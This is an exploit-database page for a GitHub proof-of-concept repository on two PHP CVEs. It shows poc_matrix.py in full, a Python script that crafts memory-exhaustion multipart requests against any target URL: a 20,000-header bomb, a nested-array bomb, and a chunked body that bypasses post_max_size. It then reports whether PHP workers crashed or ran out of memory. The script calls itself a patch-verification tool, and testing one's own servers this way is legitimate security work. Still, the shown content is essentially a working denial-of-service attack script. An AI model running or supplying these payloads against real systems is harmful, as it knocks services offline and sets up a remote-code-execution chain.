Exploit databaseDownload repository ZIP
GH-14ef558f43f672f805dabc59a510352c
engoreoo/php2shell-cve-2026-109618-cve-2026-109619-poc
Sources for CVE-2026-109618
412 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files12
engoreoo/php2shell-cve-2026-109618-cve-2026-109619-pocRevision 76623eb25ec9
- docs/
- lab/
- .gitignore
- RCE-PROOF.md
- README.md
- php2shell-version-detect.yaml
- poc_escalate.py
- poc_matrix.py
- ptr-range.patch
- resolve_symbols.py
- run-rce-poc.sh
- scrape_php.js
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc_matrix.py
Suggested starting filePython · 12,082 bytes#!/usr/bin/env python3
"""
php2shell (CVE-2026-109618 / CVE-2026-109619) — patch verification matrix.
Sends the OOM-triggering multipart requests (CVE-2026-109618 Chain D) to a
target and reports whether the PHP worker survived and whether the request
was served normally.
This is a VERIFICATION tool: it never executes attacker code. It only measures
whether the OOM/corruption precondition still fires.
Usage:
python3 poc_matrix.py --target http://127.0.0.1:8080 --label "8.3.35 vulnerable"
python3 poc_matrix.py --target http://127.0.0.1:8090 --label "8.3.35 + mitigation" \\
--ssh-container php2shell-lab-cve-2026-109618
"""
import argparse
import re
import socket
import subprocess
import sys
import time
UA = "php2shell-poc-matrix/1.0"
# ---------------------------------------------------------------- builders
def build_header_bomb(boundary, num_headers=20000, header_size=800):
"""Strategy 2: thousands of custom headers on one part -> memory amplification."""
part = f"--{boundary}\r\n"
part += 'Content-Disposition: form-data; name="f"; filename="a"\r\n'
for i in range(num_headers):
part += f"X-Pad-{i}: {'A' * header_size}\r\n"
part += "\r\nZ\r\n"
part += f"--{boundary}--\r\n"
return part.encode()
def build_nested_array_bomb(boundary, depth=10, width=1000):
"""Strategy 3: empty file controls with deeply nested field names."""
parts = []
for i in range(width):
name = "f"
for d in range(depth):
name += f"[{d}]"
name += f"[{i}]"
parts.append(
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="{name}"; filename=""\r\n'
f"Content-Type: application/octet-stream\r\n\r\n"
)
return ("".join(parts) + f"--{boundary}--\r\n").encode()
def build_no_length_bomb(boundary, total_mb=192, chunk_size=8192):
"""Strategy 1: chunked body, no Content-Length -> bypasses post_max_size."""
def gen():
header = f"--{boundary}\r\nContent-Disposition: form-data; name=\"data\"\r\n\r\n".encode()
yield header
total = 0
chunk = b"A" * chunk_size
while total < total_mb * 1024 * 1024:
yield chunk
total += chunk_size
yield f"\r\n--{boundary}--\r\n".encode()
return gen()
# ---------------------------------------------------------------- transport
def _connect(host, port, use_tls, timeout):
s = socket.create_connection((host, port), timeout=timeout)
if use_tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(s, server_hostname=host)
return s
def send_raw(host, port, path, body, headers=None, timeout=60, use_tls=False):
hdrs = {
"Host": host,
"Content-Type": "multipart/form-data; boundary=BOUND",
"Connection": "close",
"User-Agent": UA,
}
if headers:
hdrs.update(headers)
req = f"POST {path} HTTP/1.1\r\n" + "".join(f"{k}: {v}\r\n" for k, v in hdrs.items()) + "\r\n"
req = req.encode() + body
s = _connect(host, port, use_tls, timeout)
s.sendall(req)
s.settimeout(20)
resp = b""
while True:
try:
d = s.recv(65536)
if not d:
break
resp += d
except socket.timeout:
break
s.close()
return resp
def send_chunked(host, port, path, gen, timeout=90, use_tls=False):
hdr = (
f"POST {path} HTTP/1.1\r\nHost: {host}\r\n"
f"Content-Type: multipart/form-data; boundary=BOUND\r\n"
f"Transfer-Encoding: chunked\r\nConnection: close\r\n"
f"User-Agent: {UA}\r\n\r\n"
).encode()
s = _connect(host, port, use_tls, timeout)
s.sendall(hdr)
for chunk in gen:
s.sendall(f"{len(chunk):x}\r\n".encode() + chunk + b"\r\n")
s.sendall(b"0\r\n\r\n")
s.settimeout(20)
resp = b""
while True:
try:
d = s.recv(65536)
if not d:
break
resp += d
except socket.timeout:
break
s.close()
return resp
# ---------------------------------------------------------------- container introspection
def container_pids(container):
"""Return the set of apache/php child PIDs inside a container (excluding pid 1)."""
try:
out = subprocess.run(
["docker", "exec", container, "ps", "-eo", "pid,comm"],
capture_output=True, text=True, timeout=20,
).stdout
except Exception:
return None
pids = set()
for line in out.splitlines()[1:]:
parts = line.split()
if len(parts) == 2 and parts[0].isdigit():
pid = int(parts[0])
if pid != 1 and parts[1] in ("apache2", "httpd", "php-fpm", "php", "php-cgi"):
pids.add(pid)
return pids
def container_log_since(container, since_iso):
"""docker logs filtered by start time, so we only read the window of this test."""
if not container:
return ""
try:
return subprocess.run(
["docker", "logs", "--since", since_iso, container],
capture_output=True, text=True, timeout=20,
).stdout
except Exception:
return ""
# ---------------------------------------------------------------- classification
OOM_RE = re.compile(r"Allowed memory size of \d+ bytes exhausted", re.I)
OOM_STARTUP_RE = re.compile(r"exhausted.*?in\s+<b>Unknown</b>\s+on line\s+<b>0</b>", re.S | re.I)
OOM_STARTUP_LOG_RE = re.compile(r"exhausted.*?in\s+Unknown\s+on line\s+0", re.S | re.I)
CRASH_RE = re.compile(r"segmentation fault|SIGSEGV|Segmentation fault|exited on signal|child pid \d+ exit signal", re.I)
def classify(resp, log, pids_before, pids_after):
"""Turn raw evidence into a verdict.
The decisive marker is the OOM happening during *request startup* (multipart
parsing) — PHP reports it as "in Unknown on line 0" because no script frame
is active yet. That is the CVE-2026-109618 precondition: longjmp() unwinds
before init_executor() ran, leaving the request state invalid.
"""
res = {}
body = ""
if not resp:
res["transport"] = "no response (connection dropped)"
else:
status = resp.split(b"\r\n", 1)[0].decode("latin1", "replace")
res["status"] = status.strip()
body = resp.partition(b"\r\n\r\n")[2].decode("latin1", "replace")
res["body_head"] = re.sub(r"\s+", " ", body[:200]).strip()
res["oom_fatal"] = bool(OOM_RE.search(body)) or bool(OOM_RE.search(log))
res["oom_in_startup"] = bool(OOM_STARTUP_RE.search(body)) or bool(OOM_STARTUP_LOG_RE.search(log))
res["crash"] = bool(CRASH_RE.search(log))
if pids_before is not None and pids_after is not None:
dead = pids_before - pids_after
res["worker_died"] = bool(dead)
res["dead_pids"] = sorted(dead)
if res["oom_in_startup"]:
res["verdict"] = "VULNERABLE"
res["reason"] = ("OOM fired during request startup (multipart parse) before any script "
"frame existed -> invalid request state (CVE-2026-109618 precondition)")
elif res["oom_fatal"]:
res["verdict"] = "VULNERABLE"
res["reason"] = "OOM triggered inside request handling; PHP worker aborted"
elif res["crash"]:
res["verdict"] = "VULNERABLE"
res["reason"] = "worker crashed with a signal"
elif res.get("worker_died"):
res["verdict"] = "VULNERABLE"
res["reason"] = "PHP worker died during the request (UAF / OOM bailout)"
elif resp and b"200" in resp.split(b"\r\n", 1)[0]:
res["verdict"] = "NOT VULNERABLE"
res["reason"] = "request served normally, no OOM, worker survived"
else:
res["verdict"] = "INCONCLUSIVE"
res["reason"] = "no clear signal"
return res
def run_case(host, port, path, strategy, container, num_headers, header_size,
depth, width, total_mb, use_tls=False):
boundary = "B" + str(int(time.time() * 1000))
since = time.strftime("%Y-%m-%dT%H:%M:%S", time.gmtime()) + ".000Z"
time.sleep(0.2)
pids_before = container_pids(container) if container else None
if strategy == "headers":
body = build_header_bomb(boundary, num_headers, header_size)
resp = send_raw(host, port, path, body,
{"Content-Type": f"multipart/form-data; boundary={boundary}",
"Content-Length": str(len(body))}, use_tls=use_tls)
elif strategy == "nested":
body = build_nested_array_bomb(boundary, depth, width)
resp = send_raw(host, port, path, body,
{"Content-Type": f"multipart/form-data; boundary={boundary}",
"Content-Length": str(len(body))}, use_tls=use_tls)
elif strategy == "no_length":
gen = build_no_length_bomb(boundary, total_mb)
resp = send_chunked(host, port, path, gen, use_tls=use_tls)
else:
raise ValueError(strategy)
time.sleep(1.5)
log = container_log_since(container, since)
pids_after = container_pids(container) if container else None
verdict = classify(resp, log, pids_before, pids_after)
verdict["strategy"] = strategy
return verdict
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True, help="http(s)://host:port")
ap.add_argument("--label", default="target")
ap.add_argument("--path", default="/index.php")
ap.add_argument("--ssh-container", dest="container", default=None,
help="docker container to watch for worker crashes / OOM log lines")
ap.add_argument("--strategies", default="headers,nested,no_length")
ap.add_argument("--num-headers", type=int, default=20000)
ap.add_argument("--header-size", type=int, default=800)
ap.add_argument("--depth", type=int, default=10)
ap.add_argument("--width", type=int, default=1000)
ap.add_argument("--total-mb", type=int, default=192)
ap.add_argument("--insecure", action="store_true", default=True,
help="skip TLS verification (default: on)")
args = ap.parse_args()
target = args.target
use_tls = target.lower().startswith("https://")
hostport = target.split("://", 1)[-1].rstrip("/")
host, _, port_s = hostport.partition(":")
port = int(port_s or (443 if use_tls else 80))
print(f"\n{'='*78}")
print(f" TARGET : {args.target} ({args.label})")
print(f" WATCH : {args.container or '(no container watch — network only)'}")
print(f"{'='*78}")
rows = []
for strategy in [s.strip() for s in args.strategies.split(",") if s.strip()]:
print(f"\n--- strategy: {strategy} ---", flush=True)
v = run_case(host, port, args.path, strategy, args.container,
args.num_headers, args.header_size, args.depth, args.width,
args.total_mb, use_tls=use_tls)
rows.append(v)
print(f" status : {v.get('status', v.get('transport'))}")
print(f" body : {v.get('body_head','')[:150]}")
print(f" OOM fatal err : {v['oom_fatal']}")
print(f" OOM in startup: {v['oom_in_startup']} <- CVE-2026-109618 precondition")
print(f" worker died : {v.get('worker_died')} {v.get('dead_pids','')}")
print(f" >>> VERDICT : {v['verdict']} ({v['reason']})")
time.sleep(2)
print(f"\n{'='*78}")
print(f" SUMMARY — {args.label} [{args.target}]")
print(f"{'='*78}")
for v in rows:
print(f" {v['strategy']:<10} {v['verdict']:<18} oom_fatal={v['oom_fatal']!s:<5} oom_startup={v['oom_in_startup']!s:<5} worker_died={v.get('worker_died')}")
overall = "VULNERABLE" if any(v["verdict"] == "VULNERABLE" for v in rows) else \
("NOT VULNERABLE" if all(v["verdict"] == "NOT VULNERABLE" for v in rows) else "INCONCLUSIVE")
print(f"\n OVERALL: {overall}")
return 0
if __name__ == "__main__":
sys.exit(main())